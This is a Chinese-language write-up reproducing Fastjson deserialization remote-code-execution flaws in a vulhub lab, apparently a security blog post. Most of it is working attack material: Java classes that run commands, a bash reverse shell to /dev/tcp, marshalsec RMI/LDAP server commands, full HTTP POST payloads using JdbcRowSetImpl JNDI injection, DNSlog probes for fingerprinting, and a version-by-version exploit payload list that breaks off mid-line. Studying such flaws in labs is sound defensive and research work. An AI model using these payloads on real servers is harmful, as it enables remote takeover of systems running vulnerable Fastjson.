fastjson漏洞复现
Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象,fastjson爆出多个反序列化远程命令执行漏洞,攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。
1 2 3
| 对fastjson版本小于1.2.48的版本通杀,autoType为关闭状态也可使用。 loadClass中默认cache设置为true,利用分为2步执行,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存中获取到了com.sun.rowset.JdbcRowSetImpl这个类,绕过了黑名单机制 该payload会利用fastjson的反序列化漏洞去指定的rmi/ldap服务进行远程方法调用
|
主机A: http://192.168.56.106:8090 (存在Fastjson漏洞主机)
主机B: http://192.168.56.1:8989 (恶意java类服务)
主机C: rmi://192.168.56.1:9999 (远程方法调用服务)
PS: 实际上主机B和C是一台机器不同端口
fastjson/1.2.24-rce
环境搭建
使用 vulhub
搭建
因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,
可以使用com.sun.rowset.JdbcRowSetImpl
的利用链,借助JNDI注入来执行命令。
Command : touch /tmp/success
TouchFile.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.lang.Runtime; import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class
:
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.56.1:8989/#TouchFile" 9999
|
使用python 搭建一个简单的http服务器
1
| python -m http.server --bind 192.168.56.1 8989
|
Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 192.168.56.1:8090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 162
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.56.1:9999/TouchFile", "autoCommit":true } }
|
可见命令执行成功!漏洞成功复现
DNSlog 测试
1 2 3 4 5 6
| { "a": { "@type": "java.net.Inet4Address", "val": "v5guyp.dnslog.cn" } }
|
GetShell
使用 nc
监听得到反弹shell
Evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.lang.Runtime; import java.lang.Process;
public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
1
| {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 192.168.56.1:8090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 157
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.56.1:9999/Evil", "autoCommit":true } }
|
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.56.1:8989/#Evil" 9999
|
1
| python -m http.server --bind 192.168.56.1 8989
|
使用 fastjson_rce_tool
快速getshell
https://github.com/wyzxxz/fastjson_rce_tool
1
| java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.56.1 8888 "bash=bash -i >&/dev/tcp/192.168.56.1/9090 0>&1"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 192.168.56.1:8090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 129
{ "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.56.1:8888/Object", "autoCommit": true } }
|
fastjson/1.2.47-rce
目标环境是openjdk:8u102
,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase
的限制,我们可以简单利用RMI进行命令执行。
环境搭建
使用 vulhub
搭建
GetShell
使用 nc
监听得到反弹shell
Evil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import java.lang.Runtime; import java.lang.Process;
public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
1
| {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.56.1/9090 0>&1 &"}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST / HTTP/1.1 Host: 192.168.56.1:8090 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 157
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.56.1:9999/Evil", "autoCommit":true } }
|
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.56.1:8989/#Evil" 9999
|
1
| python -m http.server --bind 192.168.56.1 8989
|
漏洞检测
未知目标是否使用 Fastjson ,但站点有原始报错回显
如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显,报错中往往会有fastjson的字样
例如
无回显,通过DNS回显的方式盲区分 Fastjson 和 Jackson
我使用以下payload测试
1
| {"zeo":{"@type":"java.net.Inet4Address","val":"745shj.dnslog.cn"}}
|
最终收到dnslog
最新版本1.2.67依然可以通过dnslog判断后端是否使用fastjson
1 2
| {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"}
|
畸形的
1
| {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
|
POC:
要嵌套在里面zeo里面
1 2 3 4 5 6 7 8 9
| {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}} {"@type":"java.net.Inet4Address","val":"dnslog"} {"@type":"java.net.Inet6Address","val":"dnslog"} {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}} {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""} {{"@type":"java.net.URL","val":"dnslog"}:"aaa"} Set[{"@type":"java.net.URL","val":"dnslog"}] Set[{"@type":"java.net.URL","val":"dnslog"} {{"@type":"java.net.URL","val":"dnslog"}:0
|
多版本payload集合
影响版本:
fastjson<=1.2.24
exp:
1
| {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true}
|
影响版本:
fastjson<=1.2.41
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1
| {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true}
|
影响版本:
fastjson<=1.2.42
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1
| {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
|
影响版本:
fastjson<=1.2.43
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1
| {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true}
|
影响版本:
fastjson<=1.2.45
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1
| {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}}
|
影响版本:
fastjson<=1.2.47
exp:
1 2 3 4 5 6 7 8 9 10 11
| { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x.x.x.x:1999/Exploit", "autoCommit": true } }
|
影响版本:
fastjson<=1.2.62
exp:
1
| {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"
|
影响版本:
fastjson<=1.2.66
前提:
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
exp:
1 2 3 4 5 6 7
| {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
|